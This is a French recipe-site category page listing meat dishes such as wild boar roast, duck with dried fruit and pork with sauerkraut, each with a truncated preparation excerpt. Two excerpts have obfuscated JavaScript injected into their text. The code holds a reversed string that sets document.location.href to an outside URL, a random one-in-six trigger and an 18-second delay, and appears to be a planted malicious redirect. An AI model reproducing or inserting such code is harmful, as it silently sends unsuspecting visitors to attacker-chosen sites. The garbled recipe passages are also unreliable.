Catégorie : Viandes

Rôti de sanglier

Catégories : Cuisine: ,
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Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Pelez, hachez les échalotes et ...

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Canard au gingembre

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Coupez en fines lamelles les filets de canard. Rincez, égouttez le maïs. Lavez, séchez, émincez ...

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Blancs de poulet à l’ail

Catégories : Cuisine:
Note : (0 / 5)

Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Dans une sauteuse avec 2 ...

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Cuisses de canard aux fruits séchés

Catégories : , Cuisine:
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Dans une cocotte. Versez le bouillon de volaille. Faites chauffer. Portez à ébullition. Réservez. Dans ...

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Croustillant de porc avec de la choucroute

Catégories : Cuisine: ,
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Découpez en fines tranches tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes la charcuterie. Les déposer ...

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Salade de pommes de terre avec de l’andouillette

Catégories : , , Cuisine:
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Pelez, émincez les échalotes. Rincez, essorez la salade mesclun. Dans un saladier préparez la vinaigrette ...

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Fond blanc

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Désossez et ficeler la viande. Recouvrir les os d’un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; ...

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Cailles au nid

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Dans un bol mélangez quelques pincées de sel avec le poivre.

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Rôti de porc fondant

Catégories : Cuisine: ,
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Badigeonnez le rôti de moutarde. Pelez, émincez les oignons. Pelez les gousses d’ail et les ...

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Épaule de mouton aux pruneaux

Catégories : Cuisine:
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Pelez, émincez les oignons. Coupez la viande de mouton en gros morceaux. Déposez-les dans une ...

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